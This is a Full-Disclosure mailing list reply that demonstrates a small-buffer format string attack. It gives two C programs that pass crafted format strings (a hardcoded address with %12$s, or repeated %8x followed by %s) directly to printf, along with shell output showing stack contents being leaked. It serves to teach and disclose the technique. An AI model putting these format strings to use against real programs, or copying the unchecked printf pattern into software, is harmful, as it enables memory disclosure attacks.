Re: Small buffer format string attack

["dong-h0un U" <xploit () hackermail com>]

Here is the original Korean version of the previous article in case anyone is interested..
URL: http://x82.inetcop.org/h0me/lectur3/0x82-Small-format-kr.txt

And, the following is added contents.
(My answer about question)
--

All systems is different format string result.
Therefore, `%8x', or must set by `$-flag'.

Did as following in my server, displayed very well.

int main()
{
        char string[]="It's test!";
        char format_str[]="\x34\x85\x04\x08%12$s\n"; // %12$s
        printf(format_str);
}

Result: --

bash-2.04$ ./test
It's test!
bash-2.04$

--
Or, as following,

int main()
{
        char string[]="It's test!";
        char format_str[]="\x60\x85\x04\x08%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%s\n";
        printf(format_str);
}

Result: --

bash-2.04$ ./test
4001663840016c50 d696910bffffb604000d758      29 8048580bffffb40      b
8048560bffffb70It's test!
bash-2.04$

--

Thank KF. :-D


-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html